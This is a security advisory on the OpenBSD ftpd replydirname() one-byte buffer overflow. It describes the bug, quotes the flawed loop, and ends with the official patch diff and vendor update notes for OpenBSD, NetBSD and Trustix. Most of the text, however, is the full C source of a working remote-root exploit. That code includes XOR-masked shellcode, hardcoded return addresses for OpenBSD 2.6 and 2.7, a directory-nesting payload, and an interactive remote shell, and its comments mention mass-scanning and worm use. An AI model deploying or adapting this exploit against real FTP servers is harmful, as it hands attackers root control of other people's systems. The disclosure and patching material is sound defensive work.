COMMAND
ftpd
SYSTEMS AFFECTED
BSD ftp
PROBLEM
Following is based on a OpenBSD Security Advisory. A relatively
obscure one-byte buffer overflow bug present in ftpd(8) turns out
to be a serious problem, yielding remote users root access under
certain conditions. For a system to be vulnerable, ftpd must
have been explicitly enabled by the administrator (OpenBSD ships
with it OFF by default) and the attacker must have write access
to at least one directory. Therefore, anonymous read-only FTP
servers are safe (we recommend applying the patch regardless, of
course). Non-anonymous FTP administrators should seriously
consider using a more secure transport like SSH.
The offending code is as follows:
char npath[MAXPATHLEN];
int i;
for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
npath[i] = *name;
if (*name == '"')
npath[++i] = '"';
}
npath[i] = '\0';
In <sys/param.h>, MAXPATHLEN is defined to be 1024 bytes. The
for() construct here correctly bounds variable `i' to be < 1023,
such that when the loop has ended, no byte past npath[1023] may
be written with '\0'. However, since `i' is also incremented in
the nested statements here, it can become as large as 1024, and
npath[1024] is past the end of the allocated buffer space.
The original bug report comes from here:
http://www.geocrawler.com/lists/3/OpenBSD/254/75/4767480/
This vulnerability was first reported to OpenBSD Kristian
Vlaardingerbroek through the mailing list. Kristian acknowledged
in a later post that it was Ronald (a.k.a. Scrippie) who
originally found the bug.
/*
h0h0h0 0-day k0d3z
Exploit by Scrippie, help by dvorak and jimjones
greets to sk8
Not fully developt exploit but it works most of the time ;)
Things to add:
- automatic writeable directory finding
- syn-scan option to do mass-scanning
- worm capabilities? (should be done seperatly using the -C option
11/13/2000
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
void usage(char *program);
char *strcreat(char *, char *, int);
char *longToChar(unsigned long);
char *xrealloc(void *, size_t);
void xfree(char **ptr);
char *xmalloc(size_t);
int xconnect(char *host, u_short port);
void xsend(int fd, char *buf);
void xsendftpcmd(int fd, char *command, char *param);
void xrecieveall(int fd, char *buf, int size);
void xrecieve(int fd, char *buf, int size);
void ftp_login(int fd, char *user, char *password);
void exploit(int fd);
int verbose = 0;
/*
Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
to get rid of dots and slashes.
*/
char heavenlycode[] =
"\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
"\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3";
char user[255] = "anonymous";
char pass[255] = "anonymous@abc.com";
char write_dir[PATH_MAX] = "/";
int ftpport = 21;
unsigned long int ret_addr = 0;
#define CMD_LOCAL 0
#define CMD_REMOTE 1
int command_type = -1;
char *command = NULL;
struct typeT {
char *name;
unsigned long int ret_addr;
};
#define NUM_TYPES 2
struct typeT types[NUM_TYPES] = {
"OpenBSD 2.6", 0xdfbfd0ac,
"OpenBSD 2.7", 0xdfbfd0ac};
void
usage(char *program)
{
int i;
fprintf(stderr,
"\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n"
"Directory should be an absolute path, writable by the user.\n"
"The argument of -c will be executed on the remote host\n"
"while the argument of -C will be executed on the local\n"
"with its filedescriptors connected to the remote host\n"
"Valid types:\n",
program);
for (i = 0; i < NUM_TYPES; i++) {
printf("%d : %s\n", i, types[i].name);
}
exit(-1);
}
main(int argc, char **argv)
{
unsigned int i;
int opt, fd;
unsigned int type = 0;
char *hostname = "localhost";
if (argc < 2)
usage(argv[0]);
while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
switch (opt) {
case 'h':
hostname = optarg;
break;
case 'C':
command = optarg;
command_type = CMD_LOCAL;
break;
case 'c':
command = optarg;
command_type = CMD_REMOTE;
break;
case 'r':
ret_addr = strtoul(optarg, NULL, 0);
break;
case 'v':
verbose++;
break;
case 'f':
if (!(ftpport = atoi(optarg))) {
fprintf(stderr, "Invalid destination port - %s\n", optarg);
exit(-1);
}
exit(-1);
break;
case 'u':
strncpy(user, optarg, sizeof(user) - 1);
user[sizeof(user) - 1] = 0x00;
break;
case 'p':
strncpy(pass, optarg, sizeof(pass) - 1);
pass[sizeof(pass) - 1] = 0x00;
break;
case 'd':
strncpy(write_dir, optarg, sizeof(write_dir) - 1);
write_dir[sizeof(write_dir) - 1] = 0x00;
if ((write_dir[0] != '/'))
usage(argv[0]);
if ((write_dir[strlen(write_dir) - 1] != '/'))
strncat(write_dir, "/", sizeof(write_dir) - 1);
break;
case 't':
type = atoi(optarg);
if (type > NUM_TYPES)
usage(argv[0]);
break;
default:
usage(argv[0]);
}
}
if (ret_addr == 0)
ret_addr = types[type].ret_addr;
if ((fd = xconnect(hostname, ftpport)) == -1)
exit(-1);
else
printf("Connected to remote host! Sending evil codes.\n");
ftp_login(fd, user, pass);
exploit(fd);
}
int
ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg)
{
xsendftpcmd(fd, command, param);
xrecieveall(fd, res, size);
if (res == NULL)
return 0;
if (verbose)
printf("%s\n", res);
if (msg && (res[0] != '2')) {
fprintf(stderr, "%s\n", msg);
exit(-1);
}
return (res[0] != '2');
}
void shell(int fd)
{
fd_set readfds;
char buf[1];
char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";
write(fd, tst, strlen(tst));
while (1) {
FD_ZERO(&readfds);
FD_SET(0, &readfds);
FD_SET(fd, &readfds);
select(fd + 1, &readfds, NULL, NULL, NULL);
if (FD_ISSET(0, &readfds)) {
if (read(0, buf, 1) != 1) {
perror("read");
exit(1);
}
write(fd, buf, 1);
}
if (FD_ISSET(fd, &readfds)) {
if (read(fd, buf, 1) != 1) {
perror("read");
exit(1);
}
write(1, buf, 1);
}
}
}
void do_command(int fd)
{
char buffer[1024];
int len;
if (command_type == CMD_LOCAL) {
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(command, command, NULL);
exit (2);
}
write(fd, command, strlen(command));
write(fd, "\n", 1);
while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
write(1, buffer, len);
}
exit (0);
}
void execute_command(fd)
{
}
int exploit_ok(int fd)
{
char result[1024];
xsend(fd, "id\n");
xrecieve(fd, result, sizeof(result));
return (strstr(result, "uid=") != NULL);
}
void exploit(int fd)
{
char res[1024];
int heavenlycode_s;
char *dir = NULL;
ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");
dir = strcreat(dir, "A", 255 - strlen(write_dir));
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* next on = 256 */
dir = strcreat(dir, "A", 255);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* next on = 512 */
heavenlycode_s = strlen(heavenlycode);
dir = strcreat(dir, "A", 254 - heavenlycode_s);
dir = strcreat(dir, heavenlycode, 1);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* next on = 768 */
dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* length = 1020 */
/* 1022 moet " zijn */
dir = strcreat(dir, "AAA\"", 1);
ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
xfree(&dir);
/* and tell it to blow up */
ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);
if (!exploit_ok(fd)) {
if (command != NULL) {
exit (2);
}
fprintf(stderr, "Exploit failed\n");
exit (1);
}
if (command == NULL)
shell(fd);
else
do_command(fd);
}
char *
strcreat(char *dest, char *pattern, int repeat)
{
char *ret;
size_t plen, dlen = 0;
int i;
if (dest)
dlen = strlen(dest);
plen = strlen(pattern);
ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);
if (!dest)
ret[0] = 0x00;
for (i = 0; i < repeat; i++) {
strcat(ret, pattern);
}
return (ret);
}
char *
longToChar(unsigned long blaat)
{
char *ret;
ret = (char *) xmalloc(sizeof(long) + 1);
memcpy(ret, &blaat, sizeof(long));
ret[sizeof(long)] = 0x00;
return (ret);
}
char *
xrealloc(void *ptr, size_t size)
{
char *wittgenstein_was_a_drunken_swine;
if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) {
fprintf(stderr, "Cannot calculate universe\n");
exit(-1);
}
return (wittgenstein_was_a_drunken_swine);
}
void
xfree(char **ptr)
{
if (!ptr || !*ptr)
return;
free(*ptr);
*ptr = NULL;
}
char *
xmalloc(size_t size)
{
char *heidegger_was_a_boozy_beggar;
if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
fprintf(stderr, "Out of cheese error\n");
exit(-1);
}
return (heidegger_was_a_boozy_beggar);
}
int
xconnect(char *host, u_short port)
{
struct hostent *he;
struct sockaddr_in s_in;
int fd;
if ((he = gethostbyname(host)) == NULL) {
perror("gethostbyname");
return (-1);
}
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
return (-1);
}
if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) {
perror("connect");
return (-1);
}
return fd;
}
/* returns status from ftpd */
void
ftp_login(int fd, char *user, char *password)
{
char reply[512];
int rep;
xrecieveall(fd, reply, sizeof(reply));
if (verbose) {
printf("Logging in ..\n");
printf("%s\n", reply);
}
xsendftpcmd(fd, "USER", user);
xrecieveall(fd, reply, sizeof(reply));
if (verbose)
printf("%s\n", reply);
xsendftpcmd(fd, "PASS", password);
xrecieveall(fd, reply, sizeof(reply));
if (verbose)
printf("%s\n", reply);
if (reply[0] != '2') {
printf("Login failed.\n");
exit(-1);
}
}
void
xsendftpcmd(int fd, char *command, char *param)
{
xsend(fd, command);
if (param != NULL) {
xsend(fd, " ");
xsend(fd, param);
}
xsend(fd, "\r\n");
}
void
xsend(int fd, char *buf)
{
if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
perror("send");
exit(-1);
}
}
void
xrecieveall(int fd, char *buf, int size)
{
char scratch[6];
if (buf == NULL || size == 0) {
buf = scratch;
size = sizeof(scratch);
}
memset(buf, 0, size);
do {
xrecieve(fd, buf, size);
} while (buf[3] == '-');
}
/* recieves a line from the ftpd */
void
xrecieve(int fd, char *buf, int size)
{
char *end;
char ch;
end = buf + size;
while (buf < end) {
if (read(fd, buf, 1) != 1) {
perror("read"); /* XXX */
exit(-1);
}
if (buf[0] == '\n') {
buf[0] = '\0';
return;
}
if (buf[0] != '\r') {
buf++;
}
}
buf--;
while (read(fd, buf, 1) == 1) {
if (buf[0] == '\n') {
buf[0] = '\0';
return;
}
}
perror("read"); /* XXX */
exit(-1);
}
SOLUTION
A fix for this problem was committed on December 4th. OpenBSD
developers became aware of a publicly available exploit on
December 17th.
This vulnerability affects OpenBSD versions through 2.8. FreeBSD
is reportedly not vulnerable. NetBSD is vulnerable to the same
bug and a patch was applied to their tree on December 14th. Patch
for OpenBSD 2.8:
Index: libexec/ftpd/ftpd.c
===================================================================
RCS file: /cvs/src/libexec/ftpd/ftpd.c,v
retrieving revision 1.79
diff -u -r1.79 ftpd.c
--- libexec/ftpd/ftpd.c 2000/09/15 07:13:45 1.79
+++ libexec/ftpd/ftpd.c 2000/12/05 17:06:29
@@ -1959,15 +1959,21 @@
replydirname(name, message)
const char *name, *message;
{
+ char *p, *ep;
char npath[MAXPATHLEN];
- int i;
- for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
- npath[i] = *name;
- if (*name == '"')
- npath[++i] = '"';
+ p = npath;
+ ep = &npath[sizeof(npath) - 1];
+ while (*name) {
+ if (*name == '"' && ep - p >= 2) {
+ *p++ = *name++;
+ *p++ = '"';
+ } else if (ep - p >= 1)
+ *p++ = *name++;
+ else
+ break;
}
- npath[i] = '\0';
+ *p = '\0';
reply(257, "\"%s\" %s", npath, message);
}
For Trustix:
For version 1.2: ftpd-BSD-0.3.2-4tr.i586.rpm
ftpd-BSD-0.3.2-4tr.src.rpm
For version 1.1 and 1.0:
ftpd-BSD-0.3.2-4tr.i586.rpm
ftpd-BSD-0.3.2-4tr.src.rpm
Get these updates at:
ftp://ftp.trustix.net/pub/Trustix/updates/
http://www.trustix.net/pub/Trustix/updates/
Users of 1.0x and 1.1 should go to the 1.1 directory, while users
of 1.2 should use the packages available in the 1.2 directory.
Systems running NetBSD-current dated from before December 4, 2000
should be upgraded to NetBSD-current dated December 4, 2000 or
later. Systems running releases older than NetBSD 1.4 should be
upgraded to NetBSD 1.4.3 before applying the fixes described here.
Systems running NetBSD 1.4.3 should apply the patch contained in
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.4.3
Systems running NetBSD 1.5 should apply the patch contained in
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.5
Different patches are needed because the vulnerable function was
moved from ftpd.c to cmds.c.
Sam Trenholme patched David Madore's Linux port of OpenBSD's ftpd
against the problems present in replydirname(). While the word
is that Linux is not currently exploitable, it is better to be
safe than sorry. He also patched against the setproctitle()
problems previously reported, even though they are a non-issue due
to the manner David Madore ported OpenBSD's FTPD to Linux. The
patches are against the 0.2.3 release of ftpd-BSD (David Madore's
name for the port), and are available in RPM format here:
http://www.samiam.org/rpms/